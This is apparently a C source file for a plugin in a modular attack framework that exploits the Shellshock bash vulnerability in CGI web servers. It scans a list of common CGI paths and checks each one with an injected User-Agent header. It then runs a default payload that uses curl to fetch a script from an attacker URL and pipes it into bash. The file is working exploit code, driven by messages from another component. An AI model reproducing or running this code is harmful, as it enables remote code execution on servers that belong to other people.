170 lines
5.1 KiB
C
170 lines
5.1 KiB
C
#define _GNU_SOURCE
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include "api.h"
|
|
#include "error_codes.h"
|
|
#include "4_shellshock.h"
|
|
#include "5_shellshock_command.h"
|
|
|
|
api_plugin_t version = {.id = 4, .flag = 0, .major = 1, .minor = 0};
|
|
|
|
static char *p4_default_queries[] = {
|
|
"",
|
|
"cgi-bin/printenv",
|
|
"cgi-bin/test-cgi",
|
|
"cgi-bin/test-cgi.cgi",
|
|
"cgi-bin/test.cgi",
|
|
"cgi-mod/index.cgi",
|
|
"cgi-mod/index",
|
|
"cgi-sys/entropysearch.cgi",
|
|
"cgi-sys/defaultwebpage.cgi",
|
|
};
|
|
|
|
/* default payload to execute on the server */
|
|
static char *p4_default_payload = "/usr/bin/env curl " P5_ATTACKER_URL " -L | IP=\"" P5_ATTACKER_URL "\" /usr/bin/env bash";
|
|
|
|
/*
|
|
The test must check if the url is vulnerable or not. It should be stealther thant "p4_attack".
|
|
|
|
FOR NOW:
|
|
To a static url (TODO the test should not be a static payload!)
|
|
it tries to exploit shellshock on it and adds in the web server response a Header.
|
|
If this header is found, then shellshock worked.
|
|
|
|
@param url the url to test
|
|
*/
|
|
static int p4_test_if_vulnerable(char *url) {
|
|
// test the url with a header and write the result into a file
|
|
printf("[4] test url \"%s\"\n", url);
|
|
char *str_to_exec;
|
|
asprintf(&str_to_exec, "/usr/bin/env curl -I %s -H \"User-Agent: () { :; }; echo 'ShellShock: yes'\" | grep '^ShellShock: yes'", url); // signature is easy
|
|
if (str_to_exec == NULL)
|
|
return ERR_MEMORY;
|
|
FILE *file = popen(str_to_exec, "r");
|
|
free(str_to_exec);
|
|
if (file == NULL) {
|
|
return ERR_ATTACK_FAILED;
|
|
}
|
|
|
|
char data[16] = {0};
|
|
int bytes_count = fread(data, 1, 16, file);
|
|
printf("data: \"%s\"\n", data);
|
|
|
|
// if the file is valid, then shellshock worked
|
|
if (bytes_count == 16 && strncmp(data, "ShellShock: yes", 15) == 0) {
|
|
return SUCCESS;
|
|
}
|
|
else {
|
|
return ERR_ATTACK_FAILED;
|
|
}
|
|
}
|
|
|
|
/*
|
|
tries to exploit shellshock on the url with the given payload (or the default one if none has been set)
|
|
|
|
@param url: the entry-point to target
|
|
@param payload: the executable code to deliver on the target
|
|
*/
|
|
static int p4_attack(char *url, char *payload) {
|
|
printf("[4] Attack the url \"%s\" because tested\n", url);
|
|
if (payload == NULL)
|
|
payload = p4_default_payload;
|
|
char *str_to_exec;
|
|
asprintf(&str_to_exec, "curl %s -H \"User-Agent: () { :; }; %s\"\n", url, payload);
|
|
if (str_to_exec == NULL)
|
|
return ERR_MEMORY;
|
|
system(str_to_exec);
|
|
free(str_to_exec);
|
|
return SUCCESS;
|
|
}
|
|
|
|
/*
|
|
Prepares the module for the attack (configuration)
|
|
|
|
@param msgp message received (used for being parsed)
|
|
@param domain a pointer to a variable where the domain will be set
|
|
@param url a pointer to a variable where the url will be set
|
|
@param payload a pointer to a variable where the payload will be set
|
|
*/
|
|
static void p4_add_state(api_msg_t *msgp, char **domain, char **url, char **payload) {
|
|
api_msg_t msg = *msgp;
|
|
if (P4_SHELLSHOCK_IS_DOMAIN(msg)) {
|
|
*domain = P4_SHELLSHOCK_READ_DOMAIN(msg);
|
|
printf("[4] add domain \"%s\"\n", *domain);
|
|
}
|
|
else if (P4_SHELLSHOCK_IS_URL(msg)) {
|
|
*url = P4_SHELLSHOCK_READ_URL(msg);
|
|
printf("[4] add url \"%s\"\n", *url);
|
|
}
|
|
else if (P4_SHELLSHOCK_IS_PAYLOAD(msg)) {
|
|
*payload = P4_SHELLSHOCK_READ_PAYLOAD(msg);
|
|
printf("[4] add payload\n");
|
|
}
|
|
}
|
|
|
|
/*
|
|
Executes the shellshock attack with the current state (parameters domain, url, payload)
|
|
|
|
* First test if the url(s) are vulnerable
|
|
* If yes, then attack the first vulnerable url found
|
|
|
|
@param domain domain to attack, may be null if not specified
|
|
@param url url to attack, may be null if not specified
|
|
@param payload payload to use, may be null if not specified
|
|
*/
|
|
static int p4_execute(char *domain, char *url, char* payload) {
|
|
if (url) {
|
|
if (p4_test_if_vulnerable(url) == 0) {
|
|
return p4_attack(url, payload);
|
|
}
|
|
}
|
|
else if (domain) {
|
|
for (int i = 0; i < 5; i++) {
|
|
int success = 0;
|
|
char *url_to_test;
|
|
asprintf(&url_to_test, "%s/%s", domain, p4_default_queries[i]);
|
|
if (url_to_test == NULL)
|
|
continue;
|
|
if (p4_test_if_vulnerable(url_to_test) == 0) {
|
|
success = (p4_attack(url_to_test, payload) == 0);
|
|
}
|
|
free(url_to_test);
|
|
if (success)
|
|
return SUCCESS;
|
|
}
|
|
}
|
|
else {
|
|
printf("[4] Not ready to exectute (missing domain or url)\n");
|
|
return ERR_PLUGIN_NOT_READY;
|
|
}
|
|
printf("[4] URL or DOMAIN is not vulnerable\n");
|
|
return ERR_TEST_FAILED; // ERR: Not vulnerable
|
|
}
|
|
|
|
/*
|
|
While a message is received, add it to the current state (domain, url, payload, ...).
|
|
If an "execute" request is read, it will start an attack with the current configuration
|
|
*/
|
|
void run() {
|
|
api_msg_t msg;
|
|
static char *domain = NULL;
|
|
static char *url = NULL;
|
|
static char *payload = NULL;
|
|
|
|
if (API_RECEIVE_MESSAGE(&((api_plugin_t){5, 0, 0, 0}), msg) == 0) {
|
|
printf("[4] message received !\n");
|
|
p4_add_state(&msg, &domain, &url, &payload);
|
|
if (!P4_SHELLSHOCK_IS_TO_EXECUTE(msg)) { // todo: asynchronous
|
|
printf("[4] execute attack\n");
|
|
if (p4_execute(domain, url, payload) != 0) {
|
|
printf("[4] Error occured\n");
|
|
}
|
|
}
|
|
else {
|
|
printf("[4] no attack\n");
|
|
}
|
|
}
|
|
}
|